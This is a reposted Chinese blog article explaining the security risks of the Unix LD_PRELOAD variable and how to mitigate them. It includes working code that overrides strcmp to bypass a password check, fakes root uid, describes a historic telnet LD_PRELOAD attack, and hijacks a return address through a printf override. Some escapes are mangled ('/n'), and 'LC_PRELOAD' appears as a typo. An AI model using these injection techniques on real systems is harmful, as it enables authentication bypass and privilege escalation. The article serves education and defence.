警惕UNIX下的LD_PRELOAD環境變量

警惕UNIX下的LD_PRELOAD環境變量

 轉自 http://blog.csdn.net/haoel/article/details/1602108  

陳皓

 

前言

 

       也許這個話題並不新鮮,因爲LD_PRELOAD所產生的問題由來已久。不過,在這裏,我還是想討論一下這個環境變量。因爲這個環境變量所帶來的安全問題非常嚴重,值得所有的Unix下的程序員的注意。

 

在開始講述爲什麼要當心LD_PRELOAD環境變量之前,請讓我先說明一下程序的鏈接。所謂鏈接,也就是說編譯器找到程序中所引用的函數或全局變量所存在的位置。一般來說,程序的鏈接分爲靜態鏈接和動態鏈接,靜態鏈接就是把所有所引用到的函數或變量全部地編譯到可執行文件中。動態鏈接則不會把函數編譯到可執行文件中,而是在程序運行時動態地載入函數庫,也就是運行鏈接。所以,對於動態鏈接來說,必然需要一個動態鏈接庫。動態鏈接庫的好處在於,一旦動態庫中的函數發生變化,對於可執行程序來說是透明的,可執行程序無需重新編譯。這對於程序的發佈、維護、更新起到了積極的作用。對於靜態鏈接的程序來說,函數庫中一個小小的改動需要整個程序的重新編譯、發佈,對於程序的維護產生了比較大的工作量。

 

當然,世界上沒有什麼東西都是完美的,有好就有壞,有得就有失。動態鏈接所帶來的壞處和其好處一樣同樣是巨大的。因爲程序在運行時動態加載函數,這也就爲他人創造了可以影響你的主程序的機會。試想,一旦,你的程序動態載入的函數不是你自己寫的,而是載入了別人的有企圖的代碼,通過函數的返回值來控制你的程序的執行流程,那麼,你的程序也就被人“劫持”了。

 

LD_PRELOAD簡介

 

UNIX的動態鏈接庫的世界中,LD_PRELOAD就是這樣一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入惡意程序,從而達到那不可告人的罪惡的目的。

 

我們知道,Linux的用的都是glibc,有一個叫libc.so.6的文件,這是幾乎所有Linux下命令的動態鏈接中,其中有標準C的各種函數。對於GCC而言,默認情況下,所編譯的程序中對標準C函數的鏈接,都是通過動態鏈接方式來鏈接libc.so.6這個函數庫的。

 

OK。還是讓我用一個例子來看一下用LD_PRELOAD來hack別人的程序。

 

示例一

 

我們寫下面一段例程:

 

/* 文件名:verifypasswd.c */

/* 這是一段判斷用戶口令的程序,其中使用到了標準C函數strcmp*/

 

#include <stdio.h>

#include <string.h>

 

int main(int argc, char **argv)

{

 

char passwd[] = "password";

 

if (argc < 2) {

        printf("usage: %s <password>/n", argv[0]);

        return;

}

 

if (!strcmp(passwd, argv[1])) {

        printf("Correct Password!/n");

        return;

}

 

printf("Invalid Password!/n");

}

 

 

在上面這段程序中,我們使用了strcmp函數來判斷兩個字符串是否相等。下面,我們使用一個動態函數庫來重載strcmp函數:

 

/* 文件名:hack.c */

 

#include <stdio.h>

#include <string.h>

 

int strcmp(const char *s1, const char *s2)

{

        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);

        /* 永遠返回0,表示兩個字符串相等 */

        return 0;

}

 

 

 

編譯程序:

$ gcc -o verifypasswd verifypasswd.c

$ gcc -shared -o hack.so hack.c

 

測試一下程序:(得到正確結果)

$ ./verifypasswd asdf

Invalid Password!

 

設置LD_PRELOAD變量:(使我們重寫過的strcmp函數的hack.so成爲優先載入鏈接庫)

         $ export LD_PRELOAD="./hack.so"

 

再次運行程序:

$ ./verifypasswd  asdf

hack function invoked. s1=<password> s2=<asdf>

Correct Password!

 

我們可以看到,1)我們的hack.so中的strcmp被調用了。2)主程序中運行結果被影響了。如果這是一個系統登錄程序,那麼這也就意味着我們用任意口令都可以進入系統了。

 

示例二

 

讓我們再來一個示例(這個示例來源於我的工作)。這個軟件是一個分佈式計算平臺,軟件在所有的計算機上都有以ROOT身份運行的偵聽程序(Daemon),用戶可以把的一程序從A計算機提交到B計算機上去運行。這些Daemon會把用戶在A計算機上的所有環境變量帶到B計算機上,在B計算機上的Daemon會fork出一個子進程,並且Daemon會調用seteuid、setegid來設置子程的執行宿主,並在子進程空間中設置從A計算機帶過來的環境變量,以仿真用戶的運行環境。(注意:A和B都運行在NIS/NFS方式上)

 

於是,我們可以寫下這樣的動態鏈接庫:

 

/* 文件名:preload.c */

 

#include <dlfcn.h>

#include <unistd.h>

#include <sys/types.h>

 

uid_t geteuid( void ) { return 0; }

uid_t getuid( void ) { return 0; }

uid_t getgid( void ) { return 0; }

 

 

       在這裏我們可以看到,我們重載了系統調用。於是我們可以通過設置LC_PRELOAD來迫使主程序使用我們的geteuid/getuid/getgid(它們都返回0,也就是Root權限)。這會導致,上述的那個分佈式計算平臺的軟件在提交端A計算機上調用了geteuid得到當前用戶ID是0,並把這個用戶ID傳到了執行端B計算機上,於是B計算機上的Daemon就會調用seteuid(0),導致我們的程序運行在了Root權限之下。從而,用戶取得了超級用戶的權限而爲所欲爲。

 

       上面的這個preload.c文件也就早期的爲人所熟知的hack程序了。惡意用戶通過在系統中設計LC_PRELOAD環境變量來加載這個動態鏈接庫,會非常容易影響其它系統命令(如:/bin/sh, /bin/ls, /bin/rm 等),讓這些系統命令以Root權限運行。

 

讓我們看一下這個函數是怎麼影響系統命令的:

      

$ id

uid=500(hchen) gid=10(wheel) groups=10(wheel)

$ gcc -shared -o preload.so preload.c

$ setenv LD_PRELOAD ./preload.so

$ id

uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)

       $ whoami

root

$ /bin/sh

#         <------ 你可以看到命令行提示符會由 $ 變成 #

      

下面是一個曾經非常著名的系統攻擊

$ telnet

telnet> env def LD_PRELOAD /home/hchen/test/preload.so

telnet> open localhost

#

 

 

當然,這個安全BUG早已被Fix了(雖然,通過id或是whoami或是/bin/sh讓你覺得你像是root,但其實你並沒有root的權限),當今的Unix系統中不會出現這個的問題。但這並不代表,我們自己寫的程序,或是第三方的程序能夠避免這個問題,尤其是那些以Root方式運行的第三方程序。

 

所以,在我們編程時,我們要隨時警惕着LD_PRELOAD。

 

 

如何避免

 

不可否認,LD_PRELOAD是一個很難纏的問題。目前來說,要解決這個問題,只能想方設法讓LD_PRELOAD失效。目前而言,有以下面兩種方法可以讓LD_PRELOAD失效。

 

1)通過靜態鏈接。使用gcc的-static參數可以把libc.so.6靜態鏈入執行程序中。但這也就意味着你的程序不再支持動態鏈接。

 

2)通過設置執行文件的setgid / setuid標誌。在有SUID權限的執行文件,系統會忽略LD_PRELOAD環境變量。也就是說,如果你有以root方式運行的程序,最好設置上SUID權限。(如:chmod 4755 daemon)

 

在一些UNIX版本上,如果你想要使用LD_PRELOAD環境變量,你需要有root權限。但不管怎麼說,這些個方法目前來看並不是一個徹底的解決方案,只是一個Workaround的方法,是一種因噎廢食的做法,爲了安全,只能禁用。

 

 

另一個示例

 

最後,讓我以一個更爲“變態”的示例來結束這篇文章吧(這個示例來自某俄羅斯黑客)。看看我們還能用LD_PRELOAD來乾點什麼?下面這個程序comp.c,我們用來比較a和b,很明顯,a和b不相等,所以,怎麼運行都是程序打出Sorry,然後退出。這個示例會告訴我們如何用LD_PRELOAD讓程序打印OK。

 

 

/* 源文件:comp.c  執行文件:comp*/

 

#include <stdio.h>

 

int main(int argc, char **argv)

{

        int a = 1, b = 2;

 

        if (a != b) {

                printf("Sorry!/n");

                return 0;

        }

 

        printf("OK!/n");

        return 1;

}

 

 

我們先來用GDB來研究一下程序的反彙編。注意其中的紅色部分。那就是if語句。如果條件失敗,則會轉到<main+75>。當然,用LD_PRELOAD無法影響表達式,其只能只能影響函數。於是,我們可以在printf上動點歪腦筋。

 

(gdb) disassemble main

Dump of assembler code for function main:

0x08048368 <main+0>:    push   %ebp

0x08048369 <main+1>:    mov    %esp,%ebp

0x0804836b <main+3>:    sub    $0x18,%esp

0x0804836e <main+6>:    and    $0xfffffff0,%esp

0x08048371 <main+9>:    mov    $0x0,%eax

0x08048376 <main+14>:   add    $0xf,%eax

0x08048379 <main+17>:   add    $0xf,%eax

0x0804837c <main+20>:   shr    $0x4,%eax

0x0804837f <main+23>:   shl    $0x4,%eax

0x08048382 <main+26>:   sub    %eax,%esp

0x08048384 <main+28>:   movl   $0x1,0xfffffffc(%ebp)

0x0804838b <main+35>:   movl   $0x2,0xfffffff8(%ebp)

0x08048392 <main+42>:   mov    0xfffffffc(%ebp),%eax

0x08048395 <main+45>:   cmp    0xfffffff8(%ebp),%eax

0x08048398 <main+48>:   je     0x80483b3 <main+75>

0x0804839a <main+50>:   sub    $0xc,%esp

0x0804839d <main+53>:   push   $0x80484b0

0x080483a2 <main+58>:   call   0x80482b0

0x080483a7 <main+63>:   add    $0x10,%esp

0x080483aa <main+66>:   movl   $0x0,0xfffffff4(%ebp)

0x080483b1 <main+73>:   jmp    0x80483ca <main+98>

0x080483b3 <main+75>:   sub    $0xc,%esp

0x080483b6 <main+78>:   push   $0x80484b8

0x080483bb <main+83>:   call   0x80482b0

0x080483c0 <main+88>:   add    $0x10,%esp

0x080483c3 <main+91>:   movl   $0x1,0xfffffff4(%ebp)

0x080483ca <main+98>:   mov    0xfffffff4(%ebp),%eax

0x080483cd <main+101>:  leave

0x080483ce <main+102>:  ret

End of assembler dump.

 

 

下面是我們重載printf的so文件。讓printf返回後的棧地址變成<main+75>。從而讓程序接着執行。下面是so文件的源,都是讓人反感的彙編代碼。

 

#include <stdarg.h>

 

static int (*_printf)(const char *format, ...) = NULL;

 

int printf(const char *format, ...)

{

 

    if (_printf == NULL) {

         /* 取得標準庫中的printf的函數地址 */

_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");

 

         /* 把函數返回的地址置到<main+75> */

         __asm__ __volatile__ (

                "movl 0x4(%ebp), %eax /n"

                "addl $15, %eax /n"

                "movl %eax, 0x4(%ebp)"

         );

 

         return 1;

    }

 

    /* 重置 printf的返回地址 */

    __asm__ __volatile__ (

            "addl $12, %%esp /n"

            "jmp *%0 /n"

                    : /* no output registers */

                    : "g" (_printf)

                    : "%esp"

    );

}

 

你可以在你的Linux下試試這段代碼。:)


補充:

Leaktracer也是利用這個技術。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章